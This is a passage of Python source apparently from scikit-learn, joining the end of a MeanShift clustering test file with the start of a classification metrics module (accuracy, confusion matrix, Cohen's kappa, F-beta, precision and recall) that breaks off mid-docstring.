    labels2 = ms.predict(X)
    assert_array_equal(labels, labels2)


def test_meanshift_all_orphans():
    # init away from the data, crash with a sensible warning
    ms = MeanShift(bandwidth=0.1, seeds=[[-9, -9], [-10, -10]])
    msg = "No point was within bandwidth=0.1"
    assert_raise_message(ValueError, msg, ms.fit, X,)


def test_unfitted():
    # Non-regression: before fit, there should be not fitted attributes.
    ms = MeanShift()
    assert_false(hasattr(ms, "cluster_centers_"))
    assert_false(hasattr(ms, "labels_"))


def test_bin_seeds():
    # Test the bin seeding technique which can be used in the mean shift
    # algorithm
    # Data is just 6 points in the plane
    X = np.array([[1., 1.], [1.4, 1.4], [1.8, 1.2],
                  [2., 1.], [2.1, 1.1], [0., 0.]])

    # With a bin coarseness of 1.0 and min_bin_freq of 1, 3 bins should be
    # found
    ground_truth = set([(1., 1.), (2., 1.), (0., 0.)])
    test_bins = get_bin_seeds(X, 1, 1)
    test_result = set([tuple(p) for p in test_bins])
    assert_true(len(ground_truth.symmetric_difference(test_result)) == 0)

    # With a bin coarseness of 1.0 and min_bin_freq of 2, 2 bins should be
    # found
    ground_truth = set([(1., 1.), (2., 1.)])
    test_bins = get_bin_seeds(X, 1, 2)
    test_result = set([tuple(p) for p in test_bins])
    assert_true(len(ground_truth.symmetric_difference(test_result)) == 0)

    # With a bin size of 0.01 and min_bin_freq of 1, 6 bins should be found
    # we bail and use the whole data here.
    with warnings.catch_warnings(record=True):
        test_bins = get_bin_seeds(X, 0.01, 1)
    assert_array_equal(test_bins, X)

    # tight clusters around [0, 0] and [1, 1], only get two bins
    X, _ = make_blobs(n_samples=100, n_features=2, centers=[[0, 0], [1, 1]],
                      cluster_std=0.1, random_state=0)
    test_bins = get_bin_seeds(X, 1)
    assert_array_equal(test_bins, [[0, 0], [1, 1]])






"""Metrics to assess performance on classification task given class prediction

Functions named as ``*_score`` return a scalar value to maximize: the higher
the better

Function named as ``*_error`` or ``*_loss`` return a scalar value to minimize:
the lower the better
"""

# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Olivier Grisel <olivier.grisel@ensta.org>
#          Arnaud Joly <a.joly@ulg.ac.be>
#          Jochen Wersdorfer <jochen@wersdoerfer.de>
#          Lars Buitinck
#          Joel Nothman <joel.nothman@gmail.com>
#          Noel Dawe <noel@dawe.me>
#          Jatin Shah <jatindshah@gmail.com>
#          Saurabh Jha <saurabh.jhaa@gmail.com>
#          Bernardo Stein <bernardovstein@gmail.com>
# License: BSD 3 clause

from __future__ import division

import warnings
import numpy as np

from scipy.sparse import coo_matrix
from scipy.sparse import csr_matrix

from ..preprocessing import LabelBinarizer, label_binarize
from ..preprocessing import LabelEncoder
from ..utils import assert_all_finite
from ..utils import check_array
from ..utils import check_consistent_length
from ..utils import column_or_1d
from ..utils.multiclass import unique_labels
from ..utils.multiclass import type_of_target
from ..utils.validation import _num_samples
from ..utils.sparsefuncs import count_nonzero
from ..utils.fixes import bincount
from ..exceptions import UndefinedMetricWarning


def _check_targets(y_true, y_pred):
    """Check that y_true and y_pred belong to the same classification task

    This converts multiclass or binary types to a common shape, and raises a
    ValueError for a mix of multilabel and multiclass targets, a mix of
    multilabel formats, for the presence of continuous-valued or multioutput
    targets, or for targets of different lengths.

    Column vectors are squeezed to 1d, while multilabel formats are returned
    as CSR sparse label indicators.

    Parameters
    ----------
    y_true : array-like

    y_pred : array-like

    Returns
    -------
    type_true : one of {'multilabel-indicator', 'multiclass', 'binary'}
        The type of the true target data, as output by
        ``utils.multiclass.type_of_target``

    y_true : array or indicator matrix

    y_pred : array or indicator matrix
    """
    check_consistent_length(y_true, y_pred)
    type_true = type_of_target(y_true)
    type_pred = type_of_target(y_pred)

    y_type = set([type_true, type_pred])
    if y_type == set(["binary", "multiclass"]):
        y_type = set(["multiclass"])

    if len(y_type) > 1:
        raise ValueError("Can't handle mix of {0} and {1}"
                         "".format(type_true, type_pred))

    # We can't have more than one value on y_type => The set is no more needed
    y_type = y_type.pop()

    # No metrics support "multiclass-multioutput" format
    if (y_type not in ["binary", "multiclass", "multilabel-indicator"]):
        raise ValueError("{0} is not supported".format(y_type))

    if y_type in ["binary", "multiclass"]:
        y_true = column_or_1d(y_true)
        y_pred = column_or_1d(y_pred)

    if y_type.startswith('multilabel'):
        y_true = csr_matrix(y_true)
        y_pred = csr_matrix(y_pred)
        y_type = 'multilabel-indicator'

    return y_type, y_true, y_pred


def _weighted_sum(sample_score, sample_weight, normalize=False):
    if normalize:
        return np.average(sample_score, weights=sample_weight)
    elif sample_weight is not None:
        return np.dot(sample_score, sample_weight)
    else:
        return sample_score.sum()


def accuracy_score(y_true, y_pred, normalize=True, sample_weight=None):
    """Accuracy classification score.

    In multilabel classification, this function computes subset accuracy:
    the set of labels predicted for a sample must *exactly* match the
    corresponding set of labels in y_true.

    Read more in the :ref:`User Guide <accuracy_score>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) labels.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Predicted labels, as returned by a classifier.

    normalize : bool, optional (default=True)
        If ``False``, return the number of correctly classified samples.
        Otherwise, return the fraction of correctly classified samples.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    score : float
        If ``normalize == True``, return the correctly classified samples
        (float), else it returns the number of correctly classified samples
        (int).

        The best performance is 1 with ``normalize == True`` and the number
        of samples with ``normalize == False``.

    See also
    --------
    jaccard_similarity_score, hamming_loss, zero_one_loss

    Notes
    -----
    In binary and multiclass classification, this function is equal
    to the ``jaccard_similarity_score`` function.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.metrics import accuracy_score
    >>> y_pred = [0, 2, 1, 3]
    >>> y_true = [0, 1, 2, 3]
    >>> accuracy_score(y_true, y_pred)
    0.5
    >>> accuracy_score(y_true, y_pred, normalize=False)
    2

    In the multilabel case with binary label indicators:
    >>> accuracy_score(np.array([[0, 1], [1, 1]]), np.ones((2, 2)))
    0.5
    """

    # Compute accuracy for each possible representation
    y_type, y_true, y_pred = _check_targets(y_true, y_pred)
    if y_type.startswith('multilabel'):
        differing_labels = count_nonzero(y_true - y_pred, axis=1)
        score = differing_labels == 0
    else:
        score = y_true == y_pred

    return _weighted_sum(score, sample_weight, normalize)


def confusion_matrix(y_true, y_pred, labels=None, sample_weight=None):
    """Compute confusion matrix to evaluate the accuracy of a classification

    By definition a confusion matrix :math:`C` is such that :math:`C_{i, j}`
    is equal to the number of observations known to be in group :math:`i` but
    predicted to be in group :math:`j`.

    Read more in the :ref:`User Guide <confusion_matrix>`.

    Parameters
    ----------
    y_true : array, shape = [n_samples]
        Ground truth (correct) target values.

    y_pred : array, shape = [n_samples]
        Estimated targets as returned by a classifier.

    labels : array, shape = [n_classes], optional
        List of labels to index the matrix. This may be used to reorder
        or select a subset of labels.
        If none is given, those that appear at least once
        in ``y_true`` or ``y_pred`` are used in sorted order.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    C : array, shape = [n_classes, n_classes]
        Confusion matrix

    References
    ----------
    .. [1] `Wikipedia entry for the Confusion matrix
           <https://en.wikipedia.org/wiki/Confusion_matrix>`_

    Examples
    --------
    >>> from sklearn.metrics import confusion_matrix
    >>> y_true = [2, 0, 2, 2, 0, 1]
    >>> y_pred = [0, 0, 2, 2, 0, 2]
    >>> confusion_matrix(y_true, y_pred)
    array([[2, 0, 0],
           [0, 0, 1],
           [1, 0, 2]])

    >>> y_true = ["cat", "ant", "cat", "cat", "ant", "bird"]
    >>> y_pred = ["ant", "ant", "cat", "cat", "ant", "cat"]
    >>> confusion_matrix(y_true, y_pred, labels=["ant", "bird", "cat"])
    array([[2, 0, 0],
           [0, 0, 1],
           [1, 0, 2]])

    """
    y_type, y_true, y_pred = _check_targets(y_true, y_pred)
    if y_type not in ("binary", "multiclass"):
        raise ValueError("%s is not supported" % y_type)

    if labels is None:
        labels = unique_labels(y_true, y_pred)
    else:
        labels = np.asarray(labels)
        if np.all([l not in y_true for l in labels]):
            raise ValueError("At least one label specified must be in y_true")

    if sample_weight is None:
        sample_weight = np.ones(y_true.shape[0], dtype=np.int)
    else:
        sample_weight = np.asarray(sample_weight)

    check_consistent_length(sample_weight, y_true, y_pred)

    n_labels = labels.size
    label_to_ind = dict((y, x) for x, y in enumerate(labels))
    # convert yt, yp into index
    y_pred = np.array([label_to_ind.get(x, n_labels + 1) for x in y_pred])
    y_true = np.array([label_to_ind.get(x, n_labels + 1) for x in y_true])

    # intersect y_pred, y_true with labels, eliminate items not in labels
    ind = np.logical_and(y_pred < n_labels, y_true < n_labels)
    y_pred = y_pred[ind]
    y_true = y_true[ind]
    # also eliminate weights of eliminated items
    sample_weight = sample_weight[ind]

    CM = coo_matrix((sample_weight, (y_true, y_pred)),
                    shape=(n_labels, n_labels)
                    ).toarray()

    return CM


def cohen_kappa_score(y1, y2, labels=None, weights=None):
    """Cohen's kappa: a statistic that measures inter-annotator agreement.

    This function computes Cohen's kappa [1]_, a score that expresses the level
    of agreement between two annotators on a classification problem. It is
    defined as

    .. math::
        \kappa = (p_o - p_e) / (1 - p_e)

    where :math:`p_o` is the empirical probability of agreement on the label
    assigned to any sample (the observed agreement ratio), and :math:`p_e` is
    the expected agreement when both annotators assign labels randomly.
    :math:`p_e` is estimated using a per-annotator empirical prior over the
    class labels [2]_.

    Read more in the :ref:`User Guide <cohen_kappa>`.

    Parameters
    ----------
    y1 : array, shape = [n_samples]
        Labels assigned by the first annotator.

    y2 : array, shape = [n_samples]
        Labels assigned by the second annotator. The kappa statistic is
        symmetric, so swapping ``y1`` and ``y2`` doesn't change the value.

    labels : array, shape = [n_classes], optional
        List of labels to index the matrix. This may be used to select a
        subset of labels. If None, all labels that appear at least once in
        ``y1`` or ``y2`` are used.

    weights : str, optional
        List of weighting type to calculate the score. None means no weighted;
        "linear" means linear weighted; "quadratic" means quadratic weighted.

    Returns
    -------
    kappa : float
        The kappa statistic, which is a number between -1 and 1. The maximum
        value means complete agreement; zero or lower means chance agreement.

    References
    ----------
    .. [1] J. Cohen (1960). "A coefficient of agreement for nominal scales".
           Educational and Psychological Measurement 20(1):37-46.
           doi:10.1177/001316446002000104.
    .. [2] `R. Artstein and M. Poesio (2008). "Inter-coder agreement for
           computational linguistics". Computational Linguistics 34(4):555-596.
           <http://www.mitpressjournals.org/doi/abs/10.1162/coli.07-034-R2#.V0J1MJMrIWo>`_
    .. [3] `Wikipedia entry for the Cohen's kappa.
            <https://en.wikipedia.org/wiki/Cohen%27s_kappa>`_
    """
    confusion = confusion_matrix(y1, y2, labels=labels)
    n_classes = confusion.shape[0]
    sum0 = np.sum(confusion, axis=0)
    sum1 = np.sum(confusion, axis=1)
    expected = np.outer(sum0, sum1) / np.sum(sum0)

    if weights is None:
        w_mat = np.ones([n_classes, n_classes], dtype=np.int)
        w_mat.flat[:: n_classes + 1] = 0
    elif weights == "linear" or weights == "quadratic":
        w_mat = np.zeros([n_classes, n_classes], dtype=np.int)
        w_mat += np.arange(n_classes)
        if weights == "linear":
            w_mat = np.abs(w_mat - w_mat.T)
        else:
            w_mat = (w_mat - w_mat.T) ** 2
    else:
        raise ValueError("Unknown kappa weighting type.")

    k = np.sum(w_mat * confusion) / np.sum(w_mat * expected)
    return 1 - k


def jaccard_similarity_score(y_true, y_pred, normalize=True,
                             sample_weight=None):
    """Jaccard similarity coefficient score

    The Jaccard index [1], or Jaccard similarity coefficient, defined as
    the size of the intersection divided by the size of the union of two label
    sets, is used to compare set of predicted labels for a sample to the
    corresponding set of labels in ``y_true``.

    Read more in the :ref:`User Guide <jaccard_similarity_score>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) labels.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Predicted labels, as returned by a classifier.

    normalize : bool, optional (default=True)
        If ``False``, return the sum of the Jaccard similarity coefficient
        over the sample set. Otherwise, return the average of Jaccard
        similarity coefficient.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    score : float
        If ``normalize == True``, return the average Jaccard similarity
        coefficient, else it returns the sum of the Jaccard similarity
        coefficient over the sample set.

        The best performance is 1 with ``normalize == True`` and the number
        of samples with ``normalize == False``.

    See also
    --------
    accuracy_score, hamming_loss, zero_one_loss

    Notes
    -----
    In binary and multiclass classification, this function is equivalent
    to the ``accuracy_score``. It differs in the multilabel classification
    problem.

    References
    ----------
    .. [1] `Wikipedia entry for the Jaccard index
           <https://en.wikipedia.org/wiki/Jaccard_index>`_


    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.metrics import jaccard_similarity_score
    >>> y_pred = [0, 2, 1, 3]
    >>> y_true = [0, 1, 2, 3]
    >>> jaccard_similarity_score(y_true, y_pred)
    0.5
    >>> jaccard_similarity_score(y_true, y_pred, normalize=False)
    2

    In the multilabel case with binary label indicators:

    >>> jaccard_similarity_score(np.array([[0, 1], [1, 1]]),\
        np.ones((2, 2)))
    0.75
    """

    # Compute accuracy for each possible representation
    y_type, y_true, y_pred = _check_targets(y_true, y_pred)
    if y_type.startswith('multilabel'):
        with np.errstate(divide='ignore', invalid='ignore'):
            # oddly, we may get an "invalid" rather than a "divide" error here
            pred_or_true = count_nonzero(y_true + y_pred, axis=1)
            pred_and_true = count_nonzero(y_true.multiply(y_pred), axis=1)
            score = pred_and_true / pred_or_true

            # If there is no label, it results in a Nan instead, we set
            # the jaccard to 1: lim_{x->0} x/x = 1
            # Note with py2.6 and np 1.3: we can't check safely for nan.
            score[pred_or_true == 0.0] = 1.0
    else:
        score = y_true == y_pred

    return _weighted_sum(score, sample_weight, normalize)


def matthews_corrcoef(y_true, y_pred, sample_weight=None):
    """Compute the Matthews correlation coefficient (MCC) for binary classes

    The Matthews correlation coefficient is used in machine learning as a
    measure of the quality of binary (two-class) classifications. It takes into
    account true and false positives and negatives and is generally regarded as
    a balanced measure which can be used even if the classes are of very
    different sizes. The MCC is in essence a correlation coefficient value
    between -1 and +1. A coefficient of +1 represents a perfect prediction, 0
    an average random prediction and -1 an inverse prediction.  The statistic
    is also known as the phi coefficient. [source: Wikipedia]

    Only in the binary case does this relate to information about true and
    false positives and negatives. See references below.

    Read more in the :ref:`User Guide <matthews_corrcoef>`.

    Parameters
    ----------
    y_true : array, shape = [n_samples]
        Ground truth (correct) target values.

    y_pred : array, shape = [n_samples]
        Estimated targets as returned by a classifier.

    sample_weight : array-like of shape = [n_samples], default None
        Sample weights.

    Returns
    -------
    mcc : float
        The Matthews correlation coefficient (+1 represents a perfect
        prediction, 0 an average random prediction and -1 and inverse
        prediction).

    References
    ----------
    .. [1] `Baldi, Brunak, Chauvin, Andersen and Nielsen, (2000). Assessing the
       accuracy of prediction algorithms for classification: an overview
       <http://dx.doi.org/10.1093/bioinformatics/16.5.412>`_

    .. [2] `Wikipedia entry for the Matthews Correlation Coefficient
       <https://en.wikipedia.org/wiki/Matthews_correlation_coefficient>`_

    Examples
    --------
    >>> from sklearn.metrics import matthews_corrcoef
    >>> y_true = [+1, +1, +1, -1]
    >>> y_pred = [+1, -1, +1, +1]
    >>> matthews_corrcoef(y_true, y_pred)  # doctest: +ELLIPSIS
    -0.33...

    """
    y_type, y_true, y_pred = _check_targets(y_true, y_pred)

    if y_type != "binary":
        raise ValueError("%s is not supported" % y_type)

    lb = LabelEncoder()
    lb.fit(np.hstack([y_true, y_pred]))
    y_true = lb.transform(y_true)
    y_pred = lb.transform(y_pred)
    mean_yt = np.average(y_true, weights=sample_weight)
    mean_yp = np.average(y_pred, weights=sample_weight)

    y_true_u_cent = y_true - mean_yt
    y_pred_u_cent = y_pred - mean_yp

    cov_ytyp = np.average(y_true_u_cent * y_pred_u_cent, weights=sample_weight)
    var_yt = np.average(y_true_u_cent ** 2, weights=sample_weight)
    var_yp = np.average(y_pred_u_cent ** 2, weights=sample_weight)

    mcc = cov_ytyp / np.sqrt(var_yt * var_yp)

    if np.isnan(mcc):
        return 0.
    else:
        return mcc


def zero_one_loss(y_true, y_pred, normalize=True, sample_weight=None):
    """Zero-one classification loss.

    If normalize is ``True``, return the fraction of misclassifications
    (float), else it returns the number of misclassifications (int). The best
    performance is 0.

    Read more in the :ref:`User Guide <zero_one_loss>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) labels.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Predicted labels, as returned by a classifier.

    normalize : bool, optional (default=True)
        If ``False``, return the number of misclassifications.
        Otherwise, return the fraction of misclassifications.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    loss : float or int,
        If ``normalize == True``, return the fraction of misclassifications
        (float), else it returns the number of misclassifications (int).

    Notes
    -----
    In multilabel classification, the zero_one_loss function corresponds to
    the subset zero-one loss: for each sample, the entire set of labels must be
    correctly predicted, otherwise the loss for that sample is equal to one.

    See also
    --------
    accuracy_score, hamming_loss, jaccard_similarity_score

    Examples
    --------
    >>> from sklearn.metrics import zero_one_loss
    >>> y_pred = [1, 2, 3, 4]
    >>> y_true = [2, 2, 3, 4]
    >>> zero_one_loss(y_true, y_pred)
    0.25
    >>> zero_one_loss(y_true, y_pred, normalize=False)
    1

    In the multilabel case with binary label indicators:

    >>> zero_one_loss(np.array([[0, 1], [1, 1]]), np.ones((2, 2)))
    0.5
    """
    score = accuracy_score(y_true, y_pred,
                           normalize=normalize,
                           sample_weight=sample_weight)

    if normalize:
        return 1 - score
    else:
        if sample_weight is not None:
            n_samples = np.sum(sample_weight)
        else:
            n_samples = _num_samples(y_true)
        return n_samples - score


def f1_score(y_true, y_pred, labels=None, pos_label=1, average='binary',
             sample_weight=None):
    """Compute the F1 score, also known as balanced F-score or F-measure

    The F1 score can be interpreted as a weighted average of the precision and
    recall, where an F1 score reaches its best value at 1 and worst score at 0.
    The relative contribution of precision and recall to the F1 score are
    equal. The formula for the F1 score is::

        F1 = 2 * (precision * recall) / (precision + recall)

    In the multi-class and multi-label case, this is the weighted average of
    the F1 score of each class.

    Read more in the :ref:`User Guide <precision_recall_f_measure_metrics>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) target values.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Estimated targets as returned by a classifier.

    labels : list, optional
        The set of labels to include when ``average != 'binary'``, and their
        order if ``average is None``. Labels present in the data can be
        excluded, for example to calculate a multiclass average ignoring a
        majority negative class, while labels not present in the data will
        result in 0 components in a macro average. For multilabel targets,
        labels are column indices. By default, all labels in ``y_true`` and
        ``y_pred`` are used in sorted order.

        .. versionchanged:: 0.17
           parameter *labels* improved for multiclass problem.

    pos_label : str or int, 1 by default
        The class to report if ``average='binary'``. Until version 0.18 it is
        necessary to set ``pos_label=None`` if seeking to use another averaging
        method over binary targets.

    average : string, [None, 'binary' (default), 'micro', 'macro', 'samples', \
                       'weighted']
        This parameter is required for multiclass/multilabel targets.
        If ``None``, the scores for each class are returned. Otherwise, this
        determines the type of averaging performed on the data:

        ``'binary'``:
            Only report results for the class specified by ``pos_label``.
            This is applicable only if targets (``y_{true,pred}``) are binary.
        ``'micro'``:
            Calculate metrics globally by counting the total true positives,
            false negatives and false positives.
        ``'macro'``:
            Calculate metrics for each label, and find their unweighted
            mean.  This does not take label imbalance into account.
        ``'weighted'``:
            Calculate metrics for each label, and find their average, weighted
            by support (the number of true instances for each label). This
            alters 'macro' to account for label imbalance; it can result in an
            F-score that is not between precision and recall.
        ``'samples'``:
            Calculate metrics for each instance, and find their average (only
            meaningful for multilabel classification where this differs from
            :func:`accuracy_score`).

        Note that if ``pos_label`` is given in binary classification with
        `average != 'binary'`, only that positive class is reported. This
        behavior is deprecated and will change in version 0.18.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    f1_score : float or array of float, shape = [n_unique_labels]
        F1 score of the positive class in binary classification or weighted
        average of the F1 scores of each class for the multiclass task.

    References
    ----------
    .. [1] `Wikipedia entry for the F1-score <https://en.wikipedia.org/wiki/F1_score>`_

    Examples
    --------
    >>> from sklearn.metrics import f1_score
    >>> y_true = [0, 1, 2, 0, 1, 2]
    >>> y_pred = [0, 2, 1, 0, 0, 1]
    >>> f1_score(y_true, y_pred, average='macro')  # doctest: +ELLIPSIS
    0.26...
    >>> f1_score(y_true, y_pred, average='micro')  # doctest: +ELLIPSIS
    0.33...
    >>> f1_score(y_true, y_pred, average='weighted')  # doctest: +ELLIPSIS
    0.26...
    >>> f1_score(y_true, y_pred, average=None)
    array([ 0.8,  0. ,  0. ])


    """
    return fbeta_score(y_true, y_pred, 1, labels=labels,
                       pos_label=pos_label, average=average,
                       sample_weight=sample_weight)


def fbeta_score(y_true, y_pred, beta, labels=None, pos_label=1,
                average='binary', sample_weight=None):
    """Compute the F-beta score

    The F-beta score is the weighted harmonic mean of precision and recall,
    reaching its optimal value at 1 and its worst value at 0.

    The `beta` parameter determines the weight of precision in the combined
    score. ``beta < 1`` lends more weight to precision, while ``beta > 1``
    favors recall (``beta -> 0`` considers only precision, ``beta -> inf``
    only recall).

    Read more in the :ref:`User Guide <precision_recall_f_measure_metrics>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) target values.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Estimated targets as returned by a classifier.

    beta: float
        Weight of precision in harmonic mean.

    labels : list, optional
        The set of labels to include when ``average != 'binary'``, and their
        order if ``average is None``. Labels present in the data can be
        excluded, for example to calculate a multiclass average ignoring a
        majority negative class, while labels not present in the data will
        result in 0 components in a macro average. For multilabel targets,
        labels are column indices. By default, all labels in ``y_true`` and
        ``y_pred`` are used in sorted order.

        .. versionchanged:: 0.17
           parameter *labels* improved for multiclass problem.

    pos_label : str or int, 1 by default
        The class to report if ``average='binary'``. Until version 0.18 it is
        necessary to set ``pos_label=None`` if seeking to use another averaging
        method over binary targets.

    average : string, [None, 'binary' (default), 'micro', 'macro', 'samples', \
                       'weighted']
        This parameter is required for multiclass/multilabel targets.
        If ``None``, the scores for each class are returned. Otherwise, this
        determines the type of averaging performed on the data:

        ``'binary'``:
            Only report results for the class specified by ``pos_label``.
            This is applicable only if targets (``y_{true,pred}``) are binary.
        ``'micro'``:
            Calculate metrics globally by counting the total true positives,
            false negatives and false positives.
        ``'macro'``:
            Calculate metrics for each label, and find their unweighted
            mean.  This does not take label imbalance into account.
        ``'weighted'``:
            Calculate metrics for each label, and find their average, weighted
            by support (the number of true instances for each label). This
            alters 'macro' to account for label imbalance; it can result in an
            F-score that is not between precision and recall.
        ``'samples'``:
            Calculate metrics for each instance, and find their average (only
            meaningful for multilabel classification where this differs from
            :func:`accuracy_score`).

        Note that if ``pos_label`` is given in binary classification with
        `average != 'binary'`, only that positive class is reported. This
        behavior is deprecated and will change in version 0.18.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    fbeta_score : float (if average is not None) or array of float, shape =\
        [n_unique_labels]
        F-beta score of the positive class in binary classification or weighted
        average of the F-beta score of each class for the multiclass task.

    References
    ----------
    .. [1] R. Baeza-Yates and B. Ribeiro-Neto (2011).
           Modern Information Retrieval. Addison Wesley, pp. 327-328.

    .. [2] `Wikipedia entry for the F1-score
           <https://en.wikipedia.org/wiki/F1_score>`_

    Examples
    --------
    >>> from sklearn.metrics import fbeta_score
    >>> y_true = [0, 1, 2, 0, 1, 2]
    >>> y_pred = [0, 2, 1, 0, 0, 1]
    >>> fbeta_score(y_true, y_pred, average='macro', beta=0.5)
    ... # doctest: +ELLIPSIS
    0.23...
    >>> fbeta_score(y_true, y_pred, average='micro', beta=0.5)
    ... # doctest: +ELLIPSIS
    0.33...
    >>> fbeta_score(y_true, y_pred, average='weighted', beta=0.5)
    ... # doctest: +ELLIPSIS
    0.23...
    >>> fbeta_score(y_true, y_pred, average=None, beta=0.5)
    ... # doctest: +ELLIPSIS
    array([ 0.71...,  0.        ,  0.        ])

    """
    _, _, f, _ = precision_recall_fscore_support(y_true, y_pred,
                                                 beta=beta,
                                                 labels=labels,
                                                 pos_label=pos_label,
                                                 average=average,
                                                 warn_for=('f-score',),
                                                 sample_weight=sample_weight)
    return f


def _prf_divide(numerator, denominator, metric, modifier, average, warn_for):
    """Performs division and handles divide-by-zero.

    On zero-division, sets the corresponding result elements to zero
    and raises a warning.

    The metric, modifier and average arguments are used only for determining
    an appropriate warning.
    """
    result = numerator / denominator
    mask = denominator == 0.0
    if not np.any(mask):
        return result

    # remove infs
    result[mask] = 0.0

    # build appropriate warning
    # E.g. "Precision and F-score are ill-defined and being set to 0.0 in
    # labels with no predicted samples"
    axis0 = 'sample'
    axis1 = 'label'
    if average == 'samples':
        axis0, axis1 = axis1, axis0

    if metric in warn_for and 'f-score' in warn_for:
        msg_start = '{0} and F-score are'.format(metric.title())
    elif metric in warn_for:
        msg_start = '{0} is'.format(metric.title())
    elif 'f-score' in warn_for:
        msg_start = 'F-score is'
    else:
        return result

    msg = ('{0} ill-defined and being set to 0.0 {{0}} '
           'no {1} {2}s.'.format(msg_start, modifier, axis0))
    if len(mask) == 1:
        msg = msg.format('due to')
    else:
        msg = msg.format('in {0}s with'.format(axis1))
    warnings.warn(msg, UndefinedMetricWarning, stacklevel=2)
    return result


def precision_recall_fscore_support(y_true, y_pred, beta=1.0, labels=None,
                                    pos_label=1, average=None,
                                    warn_for=('precision', 'recall',
                                              'f-score'),
                                    sample_weight=None):
    """Compute precision, recall, F-measure and support for each class

    The precision is the ratio ``tp / (tp + fp)`` where ``tp`` is the number of
    true positives and ``fp`` the number of false positives. The precision is
    intuitively the ability of the classifier not to label as positive a sample
    that is negative.

    The recall is the ratio ``tp / (tp + fn)`` where ``tp`` is the number of
    true positives and ``fn`` the number of false negatives. The recall is
    intuitively the ability of the classifier to find all the positive samples.

    The F-beta score can be interpreted as a weighted harmonic mean of
    the precision and recall, where an F-beta score reaches its best
    value at 1 and worst score at 0.

    The F-beta score weights recall more than precision by a factor of
    ``beta``. ``beta == 1.0`` means recall and precision are equally important.

    The support is the number of occurrences of each class in ``y_true``.

    If ``pos_label is None`` and in binary classification, this function
    returns the average precision, recall and F-measure if ``average``
    is one of ``'micro'``, ``'macro'``, ``'weighted'`` or ``'samples'``.

    Read more in the :ref:`User Guide <precision_recall_f_measure_metrics>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) target values.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Estimated targets as returned by a classifier.

    beta : float, 1.0 by default
        The strength of recall versus precision in the F-score.

    labels : list, optional
        The set of labels to include when ``average != 'binary'``, and their
        order if ``average is None``. Labels present in the data can be
        excluded, for example to calculate a multiclass average ignoring a
        majority negative class, while labels not present in the data will
        result in 0 components in a macro average. For multilabel targets,
        labels are column indices. By default, all labels in ``y_true`` and
        ``y_pred`` are used in sorted order.

    pos_label : str or int, 1 by default
        The class to report if ``average='binary'``. Until version 0.18 it is
        necessary to set ``pos_label=None`` if seeking to use another averaging
        method over binary targets.

    average : string, [None (default), 'binary', 'micro', 'macro', 'samples', \
                       'weighted']
        If ``None``, the scores for each class are returned. Otherwise, this
        determines the type of averaging performed on the data:

        ``'binary'``:
            Only report results for the class specified by ``pos_label``.
            This is applicable only if targets (``y_{true,pred}``) are binary.
        ``'micro'``:
            Calculate metrics globally by counting the total true positives,
            false negatives and false positives.
        ``'macro'``:
            Calculate metrics for each label, and find their unweighted
            mean.  This does not take label imbalance into account.
        ``'weighted'``:
            Calculate metrics for each label, and find their average, weighted
            by support (the number of true instances for each label). This
            alters 'macro' to account for label imbalance; it can result in an
            F-score that is not between precision and recall.
        ``'samples'``:
            Calculate metrics for each instance, and find their average (only
            meaningful for multilabel classification where this differs from
            :func:`accuracy_score`).

        Note that if ``pos_label`` is given in binary classification with
        `average != 'binary'`, only that positive class is reported. This
        behavior is deprecated and will change in version 0.18.

    warn_for : tuple or set, for internal use
        This determines which warnings will be made in the case that this
        function is being used to return only one of its metrics.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    precision: float (if average is not None) or array of float, shape =\
        [n_unique_labels]

    recall: float (if average is not None) or array of float, , shape =\
        [n_unique_labels]

    fbeta_score: float (if average is not None) or array of float, shape =\
        [n_unique_labels]

    support: int (if average is not None) or array of int, shape =\
        [n_unique_labels]
        The number of occurrences of each label in ``y_true``.

    References
    ----------
    .. [1] `Wikipedia entry for the Precision and recall
           <https://en.wikipedia.org/wiki/Precision_and_recall>`_

    .. [2] `Wikipedia entry for the F1-score
           <https://en.wikipedia.org/wiki/F1_score>`_

    .. [3] `Discriminative Methods for Multi-labeled Classification Advances
           in Knowledge Discovery and Data Mining (2004), pp. 22-30 by Shantanu
           Godbole, Sunita Sarawagi
           <http://www.godbole.net/shantanu/pubs/multilabelsvm-pakdd04.pdf>`

    Examples
    --------
    >>> from sklearn.metrics import precision_recall_fscore_support
    >>> y_true = np.array(['cat', 'dog', 'pig', 'cat', 'dog', 'pig'])
    >>> y_pred = np.array(['cat', 'pig', 'dog', 'cat', 'cat', 'dog'])
    >>> precision_recall_fscore_support(y_true, y_pred, average='macro')
    ... # doctest: +ELLIPSIS
    (0.22..., 0.33..., 0.26..., None)
    >>> precision_recall_fscore_support(y_true, y_pred, average='micro')
    ... # doctest: +ELLIPSIS
    (0.33..., 0.33..., 0.33..., None)
    >>> precision_recall_fscore_support(y_true, y_pred, average='weighted')
    ... # doctest: +ELLIPSIS
    (0.22..., 0.33..., 0.26..., None)

    It is possible to compute per-label precisions, recalls, F1-scores and
    supports instead of averaging:
    >>> precision_recall_fscore_support(y_true, y_pred, average=None,
